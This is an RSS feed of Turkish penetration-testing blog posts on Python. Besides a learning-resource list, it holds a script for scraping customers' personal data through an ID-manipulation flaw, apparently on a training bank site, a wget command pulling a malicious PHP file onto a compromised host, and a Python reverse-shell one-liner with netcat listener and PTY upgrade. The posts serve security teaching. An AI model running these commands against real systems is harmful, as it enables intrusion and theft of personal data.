python arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:50:49 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png python arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Awesome Learn Python https://canyoupwn.me/tr-awesome-learn-python/ https://canyoupwn.me/tr-awesome-learn-python/#respond Mon, 14 Mar 2016 18:23:31 +0000 https://canyoupwn.me/?p=1077 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Web Site: Python.Org   Türkçe Kaynaklar: İstihza – Python Türkçe Döküman Oluşturma Projesi Python Tr Python Dersleri   Yabancı Kaynaklar: LearnPython Dive in Top Python   Çevrimiçi Video Kaynaklar: Python Django Tutorials Code Academy Code School Coursera Python Ankara Youtube Channel Thenewboston YouTube   Python Blog ve Topluluklar: pythonlibrary Reddit Pycon PyAnkara Pyİstanbul Python Türkiye […]

TR | Awesome Learn Python Sinan Şahin

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Web Site:

 

Türkçe Kaynaklar:

 

Yabancı Kaynaklar:

 

Çevrimiçi Video Kaynaklar:

 

Python Blog ve Topluluklar:

 

Python Yol Haritası Makaleleri:

 

Python Kütüphaneleri:

 

Python IDE & Editor:

 

Python Kitapları:

Türkçe Kaynaklar:

Yabancı Kaynaklar:

 

Python GUI

 

Python Web

TR | Awesome Learn Python Sinan Şahin

]]>
https://canyoupwn.me/tr-awesome-learn-python/feed/ 0
TR | Data Hacking with Python https://canyoupwn.me/tr-data-hacking-with-python/ https://canyoupwn.me/tr-data-hacking-with-python/#respond Mon, 29 Feb 2016 13:59:13 +0000 https://canyoupwn.me/?p=928 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda mechanize ve bs4 modülleri kullanarak bgabank.com sisteminde bulunan id manipulation olayından faydalanarak bütün kullanıcıların kişisel verilerini otomatik olarak çekeceğiz Mechanize Modülü Bir tarayıcı gibi davranarak, web tabanlı işlemlerimizi yapmamıza olanak tanıyan çok güçlü bir modüldür. Kurlumu pip install mechanize   Verileri çekmek için yazacağımız kod üç kısımdan oluşacaktır : Kullanıcı adı ve parola ile siteye giriş […]

TR | Data Hacking with Python Besim ALTINOK

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda mechanize ve bs4 modülleri kullanarak bgabank.com sisteminde bulunan id manipulation olayından faydalanarak bütün kullanıcıların kişisel verilerini otomatik olarak çekeceğiz

Mechanize Modülü
Bir tarayıcı gibi davranarak, web tabanlı işlemlerimizi yapmamıza olanak tanıyan çok güçlü bir
modüldür.

Kurlumu

pip install mechanize

 

Verileri çekmek için yazacağımız kod üç kısımdan oluşacaktır :

  • Kullanıcı adı ve parola ile siteye giriş işlemi
  • Giriş işleminden sonra dönen veriyi okuma
  • Son olarak okuduğumuz veriden istediğimiz kısımları ayrıştırmak

 

Giriş işlemi için kullanacağımız bilgiler

  • login_URL : ‘http://isube.bgabank.com/giris.aspx’
  • Kullanıcı Adı : 10000150
  • Parola : 100019

 

Zafiyet bulunan URL adresi

  • ‘http://isube.bgabank.com/profil.aspx?musteriID=’

v_url

İlk olarak kullanacağımız kütüphaneleri kodumuza dahil edelim

İmport mechanize

İmport bs4

 

Nasıl bir tarayıcıda bir siteye girmek için öncelikle o tarayıcıyı açıyorsak aynı şekilde mechanize tarayıcımızı açmamız gerekiyor.

br = mechanize.Browser()

 

Şimdi de login amaçlı belirlediğimiz URL adresini açıyoruz.

info

Gerekli tanımlamaları yaptıktan sonra daha önce tanımladığımız url adresini mechanize modülünü kullanarak açıyoruz.

info

Şimdi sayfada mevcut olan form alanlarını görüntülemek için aşağıdaki görselde yapılanları uyguluyoruz.

forms

Gördüğünüz üzere bu form alanlarından bir tanesi müşteri numarası ve parola değerleri istemekte. Bizde bu form alanını kullanacağız. Bu form alanını seçmek için :

br.select_forms(nr=1)

metodunu kullanıyoruz. Burada nr=1 değeri seçtiğimiz formu temsil eder, bir diğer deyişle listelenen form alanlarını bir listenin elemanları gibi düşünebiliriz.İlk form ‘0’ ikinci form ‘1’ diye devam eder.

Son olarak seçtiğimiz form için gerekli alanları dolduruyoruz ve gönderiyoruz:

submit

Login işlemini tamamladığımıza göre artık diğer müşteri bilgilerini okumak için biraz daha ileri gidebiliriz.

data

Şimdi elde ettiğimiz bu veriyi ayrıştırmaya çalışacağız ve bunun için bs4 modülünü kullanacağız.

  • Kurulumu için :
pip install BeautifulSoup4

bt = bs4.BeautifulSoup(info, "lxml")
  • Bu bize p tagı ile başlayan bir liste döndürür.
bt.find_all("p")

user

Daha düzenli bir hale getirmek için:

name = bt.find_all("p")[3].input['value']
surname = bt.find_all("p")[4].input['value']
phone = bt.find_all("p")[5].input['value']

infoget

Yazdıklarımızın hepsini derleyip bir python dosyası oluşturup çalıştırdığımızda ise :

bgabank

TR | Data Hacking with Python Besim ALTINOK

]]>
https://canyoupwn.me/tr-data-hacking-with-python/feed/ 0
TR | Python SimpleHTTPServer & WGET https://canyoupwn.me/tr-python-simplehttpserver-wget/ https://canyoupwn.me/tr-python-simplehttpserver-wget/#respond Thu, 04 Feb 2016 02:39:11 +0000 http://canyoupwn.me/?p=310 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef sistem üzerinde bazı zafiyetler yakalayarak bir bağlantı elde etmiş, hatta shell almış olabilirsiniz ancak elinizde ki bağlantı hedef sisteme dosya upload etmenize olanak vermediği durumlarla karşılaşabilirsiniz. Basit bir örnek vermek gerekirse SSH bağlantısı elde etmişsiniz fakat scp komutuna verecek bir root paralanız olmayabilir. Bu durumda hedefe dosya aktarmanın basit bir yolu […]

TR | Python SimpleHTTPServer & WGET Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef sistem üzerinde bazı zafiyetler yakalayarak bir bağlantı elde etmiş, hatta shell almış olabilirsiniz ancak elinizde ki bağlantı hedef sisteme dosya upload etmenize olanak vermediği durumlarla karşılaşabilirsiniz.

Basit bir örnek vermek gerekirse SSH bağlantısı elde etmişsiniz fakat scp komutuna verecek bir root paralanız olmayabilir. Bu durumda hedefe dosya aktarmanın basit bir yolu var.

Python’un SimpleHTTPServer modülü çalıştırıldığı dizinde bir HTTP servisi başlatır. (apache servisi başlatılması gerekmez) Hedefe aktarmak istediğimiz dosyanın bulunduğu dizinde bir SimpleHTTPServer başlatalım…

python -m SimpleHTTPServer 8080

 

 

simplehttpsrv

Artık 8080 portu üzerinde bir HTTP server çalışıyor ve sadece Desktop dizinine erişebiliyor, Desktop da “zararli.php” adında bir dosya var ve hedef sistemde bu dosyayı çekecek bir komut çalıştırmamız gerekli

Wget

wget http://192.168.1.36:8080/zararli.php

192.168.1.36 SimpleHTTPServer başlattığımız makinanın IP adresidir.

wgett

TR | Python SimpleHTTPServer & WGET Hakkı YÜCE

]]>
https://canyoupwn.me/tr-python-simplehttpserver-wget/feed/ 0
TR | Python PTY ile Etkileşimli Shell https://canyoupwn.me/tr-python-pty-ile-etkilesimli-shell/ https://canyoupwn.me/tr-python-pty-ile-etkilesimli-shell/#respond Thu, 04 Feb 2016 00:07:08 +0000 http://canyoupwn.me/?p=271 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır. Şimdi bu senaryoyu gerçekleştirelim. r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum. Kendimize […]

TR | Python PTY ile Etkileşimli Shell Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır.

Şimdi bu senaryoyu gerçekleştirelim.

r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum.

Kendimize reverse shell alabilmek için 4545 portunu dinlemeye alıyoruz.

nc -lvp 4545

nc-lvp-4545

Reverse Shell Cheat Sheet‘de verilen komutlardan birini web shell üzerinde çalıştırıp Netcat ile dinlediğimiz porta shell veriyoruz.

Ben Python kullanacağım, kodu kendime göre düzenliyorum

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.36",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

Bu kodu hedef sistem üzerinde çalıştırıyoruz.

non-interactive

Netcat üzerinden shell geliyor ancak bu non-interactive bir shell olduğundan her zaman bir pentester için yeterli olmayacaktır.

Non-interactive Shell

kısaca tanımlamak gerekirse kullanıcıdan veri girişi alamayan, sadece çıktı verebilen komutların çalıştırılabileceği bir shelldir.

 

non-shell-example

Yukarıda ki ekran görüntüsünde çıktı veren komutların çalıştığını görebiliyorsunuz ancak bir sisteme giren hacker/pentester ın ilk amacı yetki yükseltmek olacaktır ve bunun için ise ilk denenecek şey su / sudo komutları olacaktır ki bu komutlar parola için kullanıcıdan veri girmesini bekler. Bu durumda non-interactive bir shell üzerinde kala kalırız. GCC gibi derleyicileri çalıştırmak içinde yetersiz kalır ve çalıştırılmak istenilen bir exploit derlenemez.

non-interactive bir shelli interactive bir shelle çevirmenin yolu ise Python’dan geçer.  Python PTY shelle geçmek için kullanılması gereken python kodu;

 python -c 'import pty; pty.spawn("/bin/sh")' 

python-pty

Artık interactive bir shell üzerinde komut çalıştırabiliyoruz…

root

TR | Python PTY ile Etkileşimli Shell Hakkı YÜCE

]]>
https://canyoupwn.me/tr-python-pty-ile-etkilesimli-shell/feed/ 0